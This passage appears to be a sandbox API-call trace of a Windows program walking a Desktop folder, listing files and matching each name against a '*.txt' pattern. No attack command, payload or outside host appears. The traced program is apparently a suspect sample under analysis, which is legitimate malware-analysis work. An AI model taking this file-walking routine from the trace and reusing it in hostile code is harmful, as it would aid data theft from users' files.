lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0146.256] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x49) returned 0x2362830 [0146.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", cchWideChar=73, lpMultiByteStr=0x2362830, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", lpUsedDefaultChar=0x0) returned 73 [0146.257] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362938 [0146.257] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362830 | out: hHeap=0x2360000) returned 1 [0146.257] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.257] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aab0 [0146.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236aab0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.257] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aab0 | out: hHeap=0x2360000) returned 1 [0146.257] PathMatchSpecW (pszFile="gxCLkfF5FMxOhrIJ.odp", pszSpec="*.txt") returned 0 [0146.257] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362938 | out: hHeap=0x2360000) returned 1 [0146.257] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e272c90, ftCreationTime.dwHighDateTime=0x1d7acb9, ftLastAccessTime.dwLowDateTime=0x938522d0, ftLastAccessTime.dwHighDateTime=0x1d7ae58, ftLastWriteTime.dwLowDateTime=0x938522d0, ftLastWriteTime.dwHighDateTime=0x1d7ae58, nFileSizeHigh=0x0, nFileSizeLow=0xc988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oI9YDYidz9W1RvrQSv58.bmp", cAlternateFileName="OI9YDY~1.BMP")) returned 1 [0146.257] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.257] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.257] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="oI9YDYidz9W1RvrQSv58.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp" [0146.257] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.257] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.257] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="oI9YDYidz9W1RvrQSv58.bmp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp" [0146.257] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604e8 [0146.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0146.257] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4d) returned 0x2362ba0 [0146.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", cchWideChar=77, lpMultiByteStr=0x2362ba0, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", lpUsedDefaultChar=0x0) returned 77 [0146.257] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e60 [0146.257] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362ba0 | out: hHeap=0x2360000) returned 1 [0146.257] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.257] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab58 [0146.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ab58, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.257] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab58 | out: hHeap=0x2360000) returned 1 [0146.258] PathMatchSpecW (pszFile="oI9YDYidz9W1RvrQSv58.bmp", pszSpec="*.txt") returned 0 [0146.258] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e60 | out: hHeap=0x2360000) returned 1 [0146.258] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5103ca30, ftCreationTime.dwHighDateTime=0x1d7ad2f, ftLastAccessTime.dwLowDateTime=0x566dfc60, ftLastAccessTime.dwHighDateTime=0x1d7ae34, ftLastWriteTime.dwLowDateTime=0x566dfc60, ftLastWriteTime.dwHighDateTime=0x1d7ae34, nFileSizeHigh=0x0, nFileSizeLow=0x14d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="rREFgeGQqPivNXTKc.odp", cAlternateFileName="RREFGE~1.ODP")) returned 1 [0146.258] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.258] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.258] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="rREFgeGQqPivNXTKc.odp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp" [0146.258] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.258] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.258] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="rREFgeGQqPivNXTKc.odp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp" [0146.258] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604e8 [0146.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", cchWideChar=74, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 74 [0146.258] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4a) returned 0x2362d58 [0146.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", cchWideChar=74, lpMultiByteStr=0x2362d58, cbMultiByte=74, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", lpUsedDefaultChar=0x0) returned 74 [0146.258] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362c50 [0146.258] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362d58 | out: hHeap=0x2360000) returned 1 [0146.258] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.258] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac30 [0146.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ac30, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.258] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac30 | out: hHeap=0x2360000) returned 1 [0146.258] PathMatchSpecW (pszFile="rREFgeGQqPivNXTKc.odp", pszSpec="*.txt") returned 0 [0146.258] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362c50 | out: hHeap=0x2360000) returned 1 [0146.258] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380b4a0, ftCreationTime.dwHighDateTime=0x1d7a7d8, ftLastAccessTime.dwLowDateTime=0xf0fe57d0, ftLastAccessTime.dwHighDateTime=0x1d7a866, ftLastWriteTime.dwLowDateTime=0xf0fe57d0, ftLastWriteTime.dwHighDateTime=0x1d7a866, nFileSizeHigh=0x0, nFileSizeLow=0x18e46, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFIt1.png", cAlternateFileName="")) returned 1 [0146.258] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.258] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.258] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="VFIt1.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png" [0146.258] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.259] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.259] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="VFIt1.png" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png") returned="\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png" [0146.259] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23604e8 [0146.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0146.259] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba420 [0146.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", cchWideChar=62, lpMultiByteStr=0x32ba420, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", lpUsedDefaultChar=0x0) returned 62 [0146.259] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba198 [0146.259] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba420 | out: hHeap=0x2360000) returned 1 [0146.259] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.259] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abd0 [0146.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236abd0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.259] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abd0 | out: hHeap=0x2360000) returned 1 [0146.259] PathMatchSpecW (pszFile="VFIt1.png", pszSpec="*.txt") returned 0 [0146.259] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba198 | out: hHeap=0x2360000) returned 1 [0146.259] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ec9c90, ftCreationTime.dwHighDateTime=0x1d7a1f2, ftLastAccessTime.dwLowDateTime=0xa670a600, ftLastAccessTime.dwHighDateTime=0x1d7aeab, ftLastWriteTime.dwLowDateTime=0xa670a600, ftLastWriteTime.dwHighDateTime=0x1d7aeab, nFileSizeHigh=0x0, nFileSizeLow=0x392a, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmyz7bDpg-Yp_.avi", cAlternateFileName="XMYZ7B~1.AVI")) returned 1 [0146.259] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.259] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.259] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="xmyz7bDpg-Yp_.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi" [0146.259] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.259] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.259] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="xmyz7bDpg-Yp_.avi" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi") returned="\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi" [0146.259] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604e8 [0146.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.259] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x33400d0 [0146.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", cchWideChar=70, lpMultiByteStr=0x33400d0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", lpUsedDefaultChar=0x0) returned 70 [0146.260] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362888 [0146.260] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.260] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.260] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aac8 [0146.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236aac8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.260] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aac8 | out: hHeap=0x2360000) returned 1 [0146.260] PathMatchSpecW (pszFile="xmyz7bDpg-Yp_.avi", pszSpec="*.txt") returned 0 [0146.260] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362888 | out: hHeap=0x2360000) returned 1 [0146.260] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ec9c90, ftCreationTime.dwHighDateTime=0x1d7a1f2, ftLastAccessTime.dwLowDateTime=0xa670a600, ftLastAccessTime.dwHighDateTime=0x1d7aeab, ftLastWriteTime.dwLowDateTime=0xa670a600, ftLastWriteTime.dwHighDateTime=0x1d7aeab, nFileSizeHigh=0x0, nFileSizeLow=0x392a, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmyz7bDpg-Yp_.avi", cAlternateFileName="XMYZ7B~1.AVI")) returned 0 [0146.260] FindClose (in: hFindFile=0x8825b0 | out: hFindFile=0x8825b0) returned 1 [0146.260] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.260] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x2360560 [0146.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", cchWideChar=52, lpMultiByteStr=0x2360560, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpUsedDefaultChar=0x0) returned 52 [0146.260] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba738 [0146.260] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.260] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.260] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab28 [0146.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab28, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.260] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab28 | out: hHeap=0x2360000) returned 1 [0146.260] PathMatchSpecW (pszFile="Hf4qcXfqlQUQtaJUeRB3", pszSpec="*.txt") returned 0 [0146.261] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba738 | out: hHeap=0x2360000) returned 1 [0146.261] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144fca0, ftCreationTime.dwHighDateTime=0x1d7a05d, ftLastAccessTime.dwLowDateTime=0xd49eb340, ftLastAccessTime.dwHighDateTime=0x1d7aa8d, ftLastWriteTime.dwLowDateTime=0xd49eb340, ftLastWriteTime.dwHighDateTime=0x1d7aa8d, nFileSizeHigh=0x0, nFileSizeLow=0x656c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HpDI0J.flv", cAlternateFileName="")) returned 1 [0146.261] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.261] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.261] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="HpDI0J.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv" [0146.261] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.261] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.261] lstrcatW (in: lpString1="\\", lpString2="HpDI0J.flv" | out: lpString1="\\HpDI0J.flv") returned="\\HpDI0J.flv" [0146.261] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0146.261] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2a) returned 0x2360550 [0146.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", cchWideChar=42, lpMultiByteStr=0x2360550, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", lpUsedDefaultChar=0x0) returned 42 [0146.261] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.261] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.261] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.261] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, 